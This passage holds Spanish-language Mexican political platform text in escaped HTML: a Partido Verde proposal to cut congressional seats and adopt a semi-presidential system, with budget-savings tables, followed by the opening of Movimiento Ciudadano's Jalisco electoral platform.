sido reconocido por la SCJN como funci\u00f3n primordial del principio de \u201crepresentaci\u00f3n proporcional\u201d.<\/p>\n<p>Comparada con la integraci\u00f3n actual, se propone la siguiente integraci\u00f3n de la C\u00e1mara de Senadores:<\/p>\n<table width=\"605\">\n<tbody>\n<tr>\n<td width=\"85\">\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"94\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>TOTAL<\/strong><\/p>\n<\/td>\n<td width=\"132\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>MAYOR\u00cdA RELATIVA <\/strong><\/p>\n<\/td>\n<td width=\"113\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>PRIMERA MINOR\u00cdA<\/strong><\/p>\n<\/td>\n<td width=\"180\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>REPRESENTACI\u00d3N (LISTA NACIONAL)<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"85\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>INTEGRACI\u00d3N<\/strong><\/p>\n<p><strong>ACTUAL<\/strong><\/p>\n<\/td>\n<td width=\"94\">\n<p>\u00a0<\/p>\n<p>128<\/p>\n<p>Senadores<\/p>\n<\/td>\n<td width=\"132\">\n<p>\u00a0<\/p>\n<p>64 senadores (dos por cada entidad federativa)<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>32 senadores (uno por cada entidad federativa)<\/p>\n<\/td>\n<td width=\"180\">\n<p>\u00a0<\/p>\n<p>32 senadores<strong> de representaci\u00f3n proporcional<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"85\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>PROPUESTA DE<\/strong><\/p>\n<p><strong>INTEGRACI\u00d3N<\/strong><\/p>\n<\/td>\n<td width=\"94\">\n<p>\u00a0<\/p>\n<p>96 senadores<\/p>\n<\/td>\n<td width=\"132\">\n<p>\u00a0<\/p>\n<p>64 senadores (dos por cada entidad federativa)<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p><strong>0<\/strong><\/p>\n<\/td>\n<td width=\"180\">\n<p>\u00a0<\/p>\n<p>32 senadores <strong>de representaci\u00f3n proporcional<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p><strong>Beneficios:<\/strong><\/p>\n<ul>\n<li>Se atender\u00e1 el reclamo ciudadano de reducir la integraci\u00f3n y, en consecuencia, los costos del Congreso de la Uni\u00f3n.<\/li>\n<\/ul>\n<ul>\n<li>Mejorar la eficiencia del Congreso de la Uni\u00f3n, toda vez que los acuerdos entre las diferentes fuerzas pol\u00edticas representadas en \u00e9l podr\u00e1n ser asumidos con mayor facilidad.<\/li>\n<li>Ahorros proporcionales a la propuesta de reducci\u00f3n para la C\u00e1mara de Diputados (40%) y un (25%) para el Senado de la Rep\u00fablica.<\/li>\n<\/ul>\n<p><strong>PRESUPUESTO DE LA C\u00c1MARA DE DIPUTADOS <\/strong><\/p>\n<table width=\"700\">\n<tbody>\n<tr>\n<td width=\"98\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>C\u00c1MARA<\/strong><\/p>\n<\/td>\n<td width=\"120\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>PEF 2017<\/strong><\/p>\n<\/td>\n<td width=\"123\">\n<p><strong>PRESUPUESTO ANUAL CON REDUCCI\u00d3N PROPUESTA<\/strong><\/p>\n<\/td>\n<td width=\"126\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>AHORRO ANUAL<\/strong><\/p>\n<\/td>\n<td width=\"111\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>AHORRO POR LEGISLATURA<\/strong><\/p>\n<\/td>\n<td width=\"123\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>AHORRO SEXENAL<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"98\">\n<p><strong>C\u00e1mara de Diputados<\/strong><\/p>\n<\/td>\n<td width=\"120\">\n<p>\u00a0<\/p>\n<p>$7,629,432,185<\/p>\n<\/td>\n<td width=\"123\">\n<p>\u00a0<\/p>\n<p>$4,577,659,311<\/p>\n<\/td>\n<td width=\"126\">\n<p>\u00a0<\/p>\n<p>$3,051,772,874<\/p>\n<\/td>\n<td width=\"111\">\n<p>\u00a0<\/p>\n<p>$9,155,318,622<\/p>\n<\/td>\n<td width=\"123\">\n<p>\u00a0<\/p>\n<p>$18,310,637,244<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"98\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Senado de la Rep\u00fablica<\/strong><\/p>\n<\/td>\n<td width=\"120\">\n<p>\u00a0<\/p>\n<p>$4,541,972,587<\/p>\n<\/td>\n<td width=\"123\">\n<p>\u00a0<\/p>\n<p>$3,406,479,440<\/p>\n<\/td>\n<td width=\"126\">\n<p>\u00a0<\/p>\n<p>$1,135,493,147<\/p>\n<\/td>\n<td width=\"111\">\n<p>\u00a0<\/p>\n<p>$3,406,479,441<\/p>\n<\/td>\n<td width=\"123\">\n<p>\u00a0<\/p>\n<p>$6,812,958,882<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<ul>\n<li>Los ahorros por Legislatura podr\u00edan ser utilizados para cubrir las asignaciones hechas en el PEF (Presupuesto de Egresos de la Federaci\u00f3n) 2017 para los siguientes conceptos:<\/li>\n<li>El presupuesto del Programa Nacional de Becas para Educaci\u00f3n Media Superior ($4,085,022,553);<\/li>\n<li>Duplicar los presupuestos de la Comisi\u00f3n Nacional de \u00c1reas Naturales Protegidas ($1,098,379,965) y de la Procuradur\u00eda Federal de Protecci\u00f3n al Ambiente ($988,918,921 pesos), o<\/li>\n<li>Triplicar el presupuesto del Hospital Infantil de M\u00e9xico Federico G\u00f3mez: ($1, 380, 741,978).<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p><strong>T\u00cdTULO: FIN DEL PRESIDENCIALISMO<\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> Un M\u00e9xico con un sistema semipresidencial donde el Ejecutivo y el Legislativo est\u00e9n al mismo tiempo separados y unidos.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>En el Sistema Semipresidencial el presidente es aut\u00f3nomo, pero comparte el poder con un primer ministro. Asimismo, el primer ministro procede del Parlamento y debe conseguir su apoyo continuamente. El Poder Ejecutivo se divide entre un jefe de Estado (el presidente de la Rep\u00fablica) y un jefe de gobierno o primer ministro. Cada uno tiene un origen distinto mientras que el presidente de la Rep\u00fablica surge directamente del voto popular y el jefe de gobierno es designado por la mayor\u00eda parlamentaria.<\/p>\n<p>El presidente de la Rep\u00fablica nombra al jefe de gobierno, pero siempre atendiendo al partido o a la coalici\u00f3n mayoritaria en el Parlamento. De este modo, en el jefe de gobierno se encuentra la confianza simult\u00e1nea del jefe de Estado y de la mayor\u00eda parlamentaria, en la pr\u00e1ctica su permanencia depende casi exclusivamente de esa mayor\u00eda.<\/p>\n<p>El primer ministro est\u00e1 comprometido en la lucha pol\u00edtica cotidiana, de la cual est\u00e1 exento el presidente. El jefe de Estado mantiene una relaci\u00f3n no conflictiva con los dirigentes de los partidos contrarios y favorece el compromiso, la negociaci\u00f3n y la moderaci\u00f3n de las fuerzas en pugna. Por ello, desempe\u00f1a una funci\u00f3n de \u00e1rbitro.<\/p>\n<p>La funci\u00f3n principal del jefe de Estado es garantizar el funcionamiento regular de las instituciones, y dirige la pol\u00edtica exterior, la diplomacia y las fuerzas armadas. Por otro lado, existe el Parlamento organizado en dos c\u00e1maras. Ambos surgen del sufragio universal: el Parlamento no depende del jefe de Estado en t\u00e9rminos de su elecci\u00f3n, ni el jefe de Estado depende del Parlamento. El gobierno surge de la Asamblea Nacional, que puede ser disuelta por el presidente de la Rep\u00fablica. En t\u00e9rminos de Sartori, \u201c[&#8230;] un sistema pol\u00edtico es semipresidencial si se aplican conjuntamente las siguientes caracter\u00edsticas:<\/p>\n<ol>\n<li>El jefe de Estado (el presidente) es electo por el voto popular ya sea directa o indirectamente por un periodo predeterminado en el cargo;<\/li>\n<li>El jefe de Estado comparte el Poder Ejecutivo con un primer ministro, con lo que se establece una estructura de autoridad dual cuyos tres criterios definitorios son:<\/li>\n<\/ol>\n<p>1) El presidente es independiente del Parlamento, pero no se le permite gobernar solo o directamente, y en consecuencia su voluntad debe ser canalizada y procesada por medio de su gobierno;<\/p>\n<p>2) El primer ministro y su gabinete son independientes del presidente porque dependen del Parlamento; est\u00e1n sujetos al voto de confianza y al voto de censura, y en ambos casos requieren del apoyo de una mayor\u00eda parlamentaria, y<\/p>\n<p>3) la estructura de autoridad dual del semipresidencialismo permite diferentes balances de poder, as\u00ed como predominios de poder variables dentro del Ejecutivo, bajo la rigurosa condici\u00f3n de que el potencial de autonom\u00eda de cada unidad componente del Ejecutivo subsista.<\/p>\n<p>En este sistema, la disoluci\u00f3n del Parlamento es un arma en manos del presidente porque se busca que \u00e9ste disponga, en la medida de lo posible, de una mayor\u00eda parlamentaria af\u00edn. El presidente disuelve el Parlamento con base en c\u00e1lculos pol\u00edticos, de acuerdo con los cuales esta acci\u00f3n no se puede instrumentar en cualquier momento ni bajo cualquier circunstancia. En otras palabras, aunque no hay l\u00edmites ni condiciones para disolver el Parlamento, s\u00f3lo se hace cuando hay circunstancias pol\u00edticas para conducir a una mayor\u00eda propia al Parlamento o cuando, aunque esto no se logre, se trata de disminuir costos pol\u00edticos a mediano plazo<a href=\"#_ftn5\" name=\"_ftnref5\"><sup>[5]<\/sup><\/a>.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Actualmente, la sociedad no conf\u00eda en los mecanismos institucionales ni en las personas que los dirigen, tenemos en su mayor\u00eda instituciones que no permiten ejercer el gobierno de manera adecuada marginando muchas de las ocasiones las propuestas, acciones y pensamientos de los individuos. Hace falta un cambio que d\u00e9 un giro completo a la forma de gobierno, una que permita la uni\u00f3n pero el respeto, a fin de recuperar la confianza del ciudadano hacia el gobernante.<\/p>\n<p>Asimismo, es necesario recuperar la confianza de los ciudadanos hacia los partidos pol\u00edticos, pues hoy en d\u00eda han perdido capacidad de representaci\u00f3n, la cual es cuestionada y no hay credibilidad; los individuos ya no conf\u00edan en nadie y no quieren saber de nadie, ya que no se sienten representados, hace falta un trabajo diferente que garantice la confianza y la seguridad de acudir a las instancias pol\u00edticas, legislativas, judiciales y del gabinete del poder ejecutivo.<\/p>\n<p>Ejemplo de un sistema semipresidencial es la Quinta Rep\u00fablica de Francia, que logr\u00f3 dotar a la estructura institucional de un Poder Ejecutivo fuerte, ya que el presidente de la Rep\u00fablica es electo por votaci\u00f3n universal y directa, el Parlamento no tiene la posibilidad de obstruir la funci\u00f3n presidencial ni puede destituirlo. Sin embargo, el presidente s\u00ed puede disolver el Parlamento. Aqu\u00ed la disoluci\u00f3n es el mecanismo a trav\u00e9s del cual se pretende evitar el imperio de los partidos, as\u00ed como dar paso a la construcci\u00f3n de mayor\u00edas coherentes<a href=\"#_ftn6\" name=\"_ftnref6\"><sup>[6]<\/sup><\/a>.<\/p>\n<p>Este sistema tiene dos principios combinados: El Parlamento puede nombrar gobiernos, aunque no tiene nada que ver con el jefe de Estado. Dado que nombra al gobierno (al primer ministro y a su gabinete) tiene tambi\u00e9n la facultad de destituirlo, es decir, puede censurarlo. De \u00e9sta y otras maneras existen mecanismos de control entre Parlamento y gobierno; \u00e9ste \u00faltimo est\u00e1 sujeto a la vigilancia y al control permanente de la mayor\u00eda parlamentaria de la que surge. Esa mayor\u00eda puede surgir de un solo partido o de una coalici\u00f3n de partidos. En general, las mayor\u00edas legislativas francesas surgen de coaliciones de partidos, de derecha o de izquierda<a href=\"#_ftn7\" name=\"_ftnref7\"><sup>[7]<\/sup><\/a>.<\/p>\n<p>Un gobierno semipresidencial es una posible alternativa para solucionar las problem\u00e1ticas de los gobiernos sin mayor\u00eda, como se visualiza con el tr\u00e1nsito del gobierno presidencial que actualmente impera en M\u00e9xico.<\/p>\n<p>Acontecimiento que surge desde 1997 cuando el partido hegem\u00f3nico que por d\u00e9cadas hab\u00eda detentado el poder, pierde su mayor\u00eda absoluta en la C\u00e1mara de Diputados, trayendo esta alternancia un resultado sin mayor\u00eda.<\/p>\n<p>Despu\u00e9s, en las elecciones del 2000, cuando se renuevan ambas C\u00e1maras del Congreso de la Uni\u00f3n, el partido hegem\u00f3nico que por d\u00e9cadas hab\u00eda detentado el poder tanto del Ejecutivo como del Legislativo, pierde la presidencia de la Rep\u00fablica y nuevamente la mayor\u00eda en el Congreso. Sin embargo, el partido de alternancia obtiene el triunfo del Poder Ejecutivo pero no alcanza la mayor\u00eda. Es as\u00ed como M\u00e9xico se ha encontrado con los denominados gobiernos sin mayor\u00eda. Y una buena opci\u00f3n es un sistema semipresidencial<a href=\"#_ftn8\" name=\"_ftnref8\"><sup>[8]<\/sup><\/a>.<\/p>\n<p>Las diferencias de un sistema presidencial y de un semipresidencial:<\/p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\" width=\"589\">\n<p><strong>Forma de Gobierno<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p><strong>Sistema Presidencial<\/strong><\/p>\n<p><strong>M\u00e9xico<\/strong><\/p>\n<p>(Recae en una solo persona.)<\/p>\n<\/td>\n<td width=\"294\">\n<p><strong>Sistema Semipresidencial<\/strong><\/p>\n<p><strong>Francia <\/strong><\/p>\n<p>(Combinaci\u00f3n de r\u00e9gimen presidencial parlamentario.)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" width=\"589\">\n<p><strong>Jefe de Estado<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p>Presidente de la Rep\u00fablica:<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Electo cada 6 a\u00f1os, de forma directa, sin posibilidad de reelecci\u00f3n.<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"294\">\n<p>Presidente de la Quinta Rep\u00fablica:<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Es electo cada 5 a\u00f1os a trav\u00e9s del sufragio universal.<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" width=\"589\">\n<p><strong>Jefe de Gobierno<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p>No aplica<\/p>\n<\/td>\n<td width=\"294\">\n<p>Primer Ministro.<\/p>\n<p>\u00a0<\/p>\n<p>Es designado por el presidente de la Rep\u00fablica con la aprobaci\u00f3n de la Asamblea Nacional.<\/p>\n<p>\u00a0<\/p>\n<p>Dirige la acci\u00f3n del gobierno.<\/p>\n<p>\u00a0<\/p>\n<p>Garantizar la ejecuci\u00f3n de las leyes aprobadas por el parlamento.<\/p>\n<p>\u00a0<\/p>\n<p>Encabeza la administraci\u00f3n p\u00fablica<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" width=\"589\">\n<p><strong>Gabinete<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p>El presidente nombra y cambia a su gabinete.<\/p>\n<\/td>\n<td width=\"294\">\n<p>El Primer Ministro propone a los Ministros y dependen del Parlamento.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" width=\"589\">\n<p><strong>Poder Legislativo<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p>C\u00e1mara de Diputados<\/p>\n<\/td>\n<td width=\"294\">\n<p>Asamblea Nacional.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p>C\u00e1mara de Senadores<\/p>\n<\/td>\n<td width=\"294\">\n<p>C\u00e1mara de Senadores.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" width=\"589\">\n<p><strong>Gobiernos Estatales<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p><strong>Estados<\/strong><\/p>\n<\/td>\n<td width=\"294\">\n<p><strong>Departamentos<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"294\">\n<p>Gobernadores<\/p>\n<\/td>\n<td width=\"294\">\n<p>Consejos Regionales<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>Toda vez que los Estados de la Republica son libres y soberanos, es necesario especificar en esta propuesta de cambio de sistema presidencial a un sistema semipresidencialismo que las entidades federativas, adopten la mejor forma de gobierno acorde a sus circunstancias.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, para modificar la forma de gobierno que nos rige como Rep\u00fablica representativa, democr\u00e1tica, federal, compuesta de estados libres y soberanos pero unidos en una Federaci\u00f3n, por un Sistema Presidencial, figura que da estabilidad para la celebraci\u00f3n de acuerdos, y funciones de un sistema de corte parlamentario. A fin de obtener las siguientes caracter\u00edsticas:<\/li>\n<li>Que el Presidente se convierta en \u201cJefe de Estado\u201d, que sea electo por voto popular, ya sea directa o indirectamente por un periodo predeterminado para su cargo.<\/li>\n<li>Que el \u201cJefe de Gobierno\u201d ser\u00e1 el primer Ministro, propuesto por el Ejecutivo y ratificado por el Legislativo, compartir\u00e1 el poder ejecutivo con el Jefe de Estado. siendo as\u00ed una autoridad dual. Es decir, El Jefe de Estado ser\u00e1 independiente del Parlamento, no se le permitir\u00e1 gobernar solo directamente, su voluntad debe ser canalizada y procesada por medio de su Gobierno.<\/li>\n<li>El primer Ministro y su gabinete son independientes del Jefe de Estado, porque depender\u00e1n del Parlamento.<\/li>\n<li>El primer Ministro y su gabinete est\u00e1n sujetos al voto de confianza y al voto de censura, y en ambos casos requieren del apoyo de una mayor\u00eda parlamentaria.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, para que las entidades federativas, adopten la mejor forma de gobierno acorde a sus circunstancias.<\/li>\n<\/ul>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a>Camou, Antonio. Gobernabilidad y democracia. Cuadernos de Divulgaci\u00f3n de la Cultura Democr\u00e1tica, Instituto Federal Electoral, M\u00e9xico.<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> Centro de Estudios Sociales y de Opini\u00f3n P\u00fablica. Encuesta Telef\u00f3nica sobre Confianza en las Instituciones, M\u00e9xico 2014. Disponible en: http:\/\/www5.diputados.gob.mx\/index.php\/camara\/Centros-de-Estudio\/CESOP\/Opinion<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> Consulta Mitofsky, M\u00e9xico, 2015. Disponible en: http:\/\/consulta.mx\/index.php\/estudios-e-investigaciones\/mexicoopina\/item\/575-confianza-en-instituciones<\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> INEGI, 2015.<\/p>\n<p>\u00a0<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a> ESPINOZA TOLEDO, Ricardo, S<em>istemas parlamentario, presidencial y semipresidencial, <\/em>\u201cCuadernos de divulgaci\u00f3n de la cultura democr\u00e1tica, INE, 2016. Pp. 61-63<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a><em>Ib\u00eddem <\/em><\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a><em>Ib\u00eddem <\/em><\/p>\n<p><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a>VALD\u00c9S ROBLEDO, Sandra, <em>La forma de gobierno semipresidencial como una posible alternativa ante un gobierno sin mayor\u00edas, <\/em>UNAM. Pp. 263-264. https:\/\/archivos.juridicas.unam.mx\/www\/bjv\/libros\/7\/3181\/14.pdf<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tPresentaci\u00f3n\t\t\t\t\t<\/p>\n<p>Jalisco necesita cambios profundos y de ra\u00edz. Los niveles de corrupci\u00f3n, desigualdad, violencia e ineficiencia de las instituciones publicas que enfrentan de manera cotidiana sus habitantes, son un claro s\u00edntoma de de un problema mayor.<\/p>\n<p>En Movimiento Ciudadano creemos que es urgente renovar la vida publica de nuestro estado y que para lograrlo, de nada sirven las promesas deshonestas y superficiales que tantas veces hemos escuchado. Por el contrario, es necesario plantear una ruta de transformaci\u00f3n profunda, que vaya hasta el origen de los problemas que vive la mayor\u00eda de las personas.\u00a0<\/p>\n<p>Nosotros somos un movimiento de mujeres y hombres libres que se han comprometido con las transformaciones sociales, pol\u00edticas y econ\u00f3micas que nuestras ciudades, nuestro estado y nuestro pa\u00eds requiere. Hoy nos enfrentamos no s\u00f3lo a un conjunto aislado de problemas, sino a un sistema pol\u00edtico y gubernamental que est\u00e1 en una grave crisis.<\/p>\n<p>Los diagn\u00f3sticos no son nada alentadores. Jalisco ha ido perdiendo liderazgo en temas en los que su potencial es inmenso. Presentamos indicadores negativos en agendas que son clave para la vida cotidiana de la gente: La salud, la educaci\u00f3n, el empleo, la seguridad, entre otros. Se han intensificado y complejizado los problemas de desigualdad, prestaci\u00f3n de servicios p\u00fablicos, pobreza, marginaci\u00f3n, deterioro de la calidad ambiental, rezago de infraestructura y sobre todo, descomposici\u00f3n del tejido social.<\/p>\n<p>Lo p\u00fablico ha ido perdiendo credibilidad y confianza. Muchas de nuestras instituciones que son clave para el desarrollo, est\u00e1n desprestigiadas por actos de corrupci\u00f3n, opacidad, impunidad, administraciones ineficaces y sobre todo, por la falta e incapacidad para tomar decisiones a favor del inter\u00e9s p\u00fablico.<\/p>\n<p>No existen soluciones m\u00e1gicas ni milagrosas. El trabajo que debemos emprender para cambiar la vida p\u00fablica de Jalisco y sus instituciones implica la participaci\u00f3n de todas las personas. Ser corresponsables.<\/p>\n<p>Hoy m\u00e1s que nunca se vuelve necesario construir un gran acuerdo social sobre el cual, sea posible reconciliar a las instituciones p\u00fablicas con las necesidades y demandas de la ciudadan\u00eda. Hoy se vuelve urgente no s\u00f3lo la reingenier\u00eda y reorganizaci\u00f3n de los gobiernos \u2013estatal y\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 municipales- sino tambi\u00e9n, la refundaci\u00f3n de la vida p\u00fablica y de los poderes que hoy le dan la espalda a quienes vivimos en Jalisco. Necesitamos reunir a las distintas voluntades, esfuerzos y causas para tomar decisiones en colectivo.<\/p>\n<p>\u00a0Movimiento Ciudadano ha demostrado que es posible tener gobiernos que den resultados. Gobiernos transparentes, eficaces, con agendas construidas con la gente. En el a\u00f1o 2015 logramos gobernar las principales ciudades medias de Jalisco y 6 de los 9 municipios que integran el \u00c1rea Metropolitana de Guadalajara. Tambi\u00e9n hemos demostrado que es posible que el Congreso de Jalisco sea un espacio desde donde se puede impulsar cambios importantes para mejorar la calidad de vida de las personas.<\/p>\n<p>Nuestra Plataforma Electoral retoma principios, valores y propuestas que no son solo discursos. Hemos demostrado que sabemos hacer buenos gobiernos, con resultados, de la mano de la gente. Tomando decisiones que no son f\u00e1ciles, pero que deben ser asumidas con apertura y voluntad pol\u00edtica.<\/p>\n<p>Nuestra Plataforma Electoral plantea un trabajo desde los siguientes espacios pol\u00edticos:<\/p>\n<ol>\n<li>La transformaci\u00f3n de fondo de los poderes e instituciones de la vida p\u00fablica de Jalisco, comenzando por el Gobierno del Estado.<\/li>\n<li>El Congreso de Jalisco como el espacio abierto de construcci\u00f3n de alternativas legislativas reales y de verdadera representaci\u00f3n de los intereses p\u00fablicos en Jalisco.<\/li>\n<li>La consolidaci\u00f3n de los gobiernos municipales donde hemos demostrado que es posible gobernar del lado de la ciudadan\u00eda, con resultados concretos, de manera transparente y bajo un esquema de gobernanza.<\/li>\n<li>La ampliaci\u00f3n de los buenos gobiernos hacia el resto de municipios de Jalisco que hoy reclaman respuestas y soluciones a sus problemas.<\/li>\n<\/ol>\n<p>Hoy, queremos plantear una Agenda P\u00fablica que construya consensos para la reconciliaci\u00f3n social, la renovaci\u00f3n de los poderes p\u00fablicos y la refundaci\u00f3n de las instituciones que toman decisiones que influyen en la vida de todas las personas. Esta Agenda deber\u00e1 traducirse en una de Gobierno del Estado, en una de Gobiernos Municipales y en una Legislativa.<\/p>\n<p>Los ejes que proponemos para esas distintas agendas son:<\/p>\n<ul>\n<li>Jalisco como el proyecto de un gran acuerdo social para la refundaci\u00f3n de las instituciones y la renovaci\u00f3n de la vida p\u00fablica.<\/li>\n<li>Gobiernos que dan resultados, que son transparentes y que construyen soluciones de la mano de la gente.<\/li>\n<\/ul>\n<ul>\n<li>Lo p\u00fablico como respuesta a los grandes problemas sociales: Cultura de la legalidad, estado de derecho y combate a la impunidad.<\/li>\n<\/ul>\n<ul>\n<li>Las personas como centro de las decisiones<\/li>\n<li>Una visi\u00f3n incluyente, sustentable y regional del desarrollo para resolver los problemas cotidianos de las personas.<\/li>\n<li>Una verdadera gesti\u00f3n de las ciudades medias de Jalisco y del desarrollo metropolitano.<\/li>\n<\/ul>\n<ul>\n<li>Un enfoque de seguridad para la protecci\u00f3n de todas las personas: Seguridad Ciudadana, Derechos Humanos y Procuraci\u00f3n de Justicia.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.\tJalisco como el proyecto de un gran acuerdo social para la refundaci\u00f3n de las instituciones y la renovaci\u00f3n de la vida p\u00fablica\t\t\t\t\t<\/p>\n<p>Jalisco necesita una transformaci\u00f3n profunda y no, de pol\u00edticas cortoplacistas y discursos vac\u00edos que aluden a la palabra cambio, pero que no modifican de ra\u00edz las causas que nos tienen hoy en una severa crisis social, pol\u00edtica y econ\u00f3mica.<\/p>\n<p>Si queremos resultados distintos, tenemos que hacer las cosas de manera diferente. A pesar de que nuestro marco jur\u00eddico nacional y estatal establece un conjunto de garant\u00edas constitucionales y derechos fundamentales, \u00e9stos se encuentran muy lejos de ser m\u00ednimamente respetados.\u00a0\u00a0<\/p>\n<p>La mayor\u00eda de las personas no tienen cubiertas necesidades b\u00e1sicas como el derecho a la educaci\u00f3n de calidad, a la salud, al trabajo digno, a la vivienda, al medio ambiente sano, ni al desarrollo sustentable. Las instituciones se han alejado de su fin supremo: servir a las personas.<\/p>\n<p>Los cambios estructurales que impulsaremos en Jalisco pasan necesariamente por revisar, modificar e implementar transformaciones como:<\/p>\n<ol>\n<li>Reconciliar la relaci\u00f3n entre la ciudadan\u00eda y el gobierno. Durante d\u00e9cadas hemos o\u00eddo hablar de la participaci\u00f3n ciudadana, pero \u00e9sta carece de incentivos, de mecanismos de incidencia, pero sobre todo, de una comprensi\u00f3n de relaciones basadas en la idea de gobernanza. De gobernar del lado de las personas. Desde MC hemos entendido que las instituciones deben ser un veh\u00edculo para la participaci\u00f3n activa de la gente. Desde el Congreso de Jalisco impulsamos reformas importantes en materia de participaci\u00f3n ciudadana, eliminaci\u00f3n del fuero y reducci\u00f3n de financiamiento a los partidos pol\u00edticos. Nuestros gobiernos municipales han sido los primeros en someterse a un ejercicio de ratificaci\u00f3n de mandato y tambi\u00e9n de implementaci\u00f3n de presupuestos participativos. +<\/li>\n<li>Refundar las estructuras de los poderes y las instituciones p\u00fablicas de Jalisco. Los cambios profundos necesitan instituciones que est\u00e9n al servicio de las personas y no de los intereses de unos cuantos. Hasta ahora, s\u00f3lo han cambiado los grupos en el poder, pero no las reglas del juego, ni la manera en la que funcionan los poderes y las instituciones p\u00fablicas.<\/li>\n<li>Recuperar lo p\u00fablico como la respuesta a nuestros problemas comunes. La obligaci\u00f3n de los gobiernos en cualquiera de sus niveles, es garantizar el inter\u00e9s colectivo por encima de los intereses particulares. La de construir pol\u00edticas p\u00fablicas que resuelvan los problemas que m\u00e1s les duelen a las personas. La prestaci\u00f3n de servicios p\u00fablicos de excelencia que ayuden a eliminar las desigualdades, la pobreza y la marginaci\u00f3n entre la gente.<\/li>\n<li>Replantear el pacto federal desde lo local. Debemos decirlo con claridad: no tenemos en M\u00e9xico un verdadero federalismo que ayude a construir a las distintas entidades que lo conforman, soluciones desde lo local en compa\u00f1\u00eda del gobierno federal. Temas claves como el agua, la educaci\u00f3n o la infraestructura se deciden de manera centralizada y sin posibilidades de tener alternativas que se construyan con actores locales para garantizar su sustentabilidad.<\/li>\n<li>Reorganizar al gobierno para que \u00e9ste sea m\u00e1s eficiente, transparente y de resultados. Vemos con indignaci\u00f3n los casos de esc\u00e1ndalos de corrupci\u00f3n entre gobernadores del PRI y de otros partidos. Miles de millones de pesos que son el dinero de la gente, que se desv\u00eda a cuentas privadas de pol\u00edticos sin escr\u00fapulos. En Movimiento Ciudadano hemos demostrado que la mejor manera para poner fin a estas practicas, es implementando pol\u00edticas de transparencia y rendici\u00f3n de cuantas, que dan a los ciudadanos el derecho de evaluar a los gobernantes y de decidir sobre la continuidad de los mismos. Si la gente pone, la gente quita.<\/li>\n<li>Renovar el \u00e1nimo social para construir comunidades que vivan en paz. Hoy m\u00e1s que nunca, nuestro 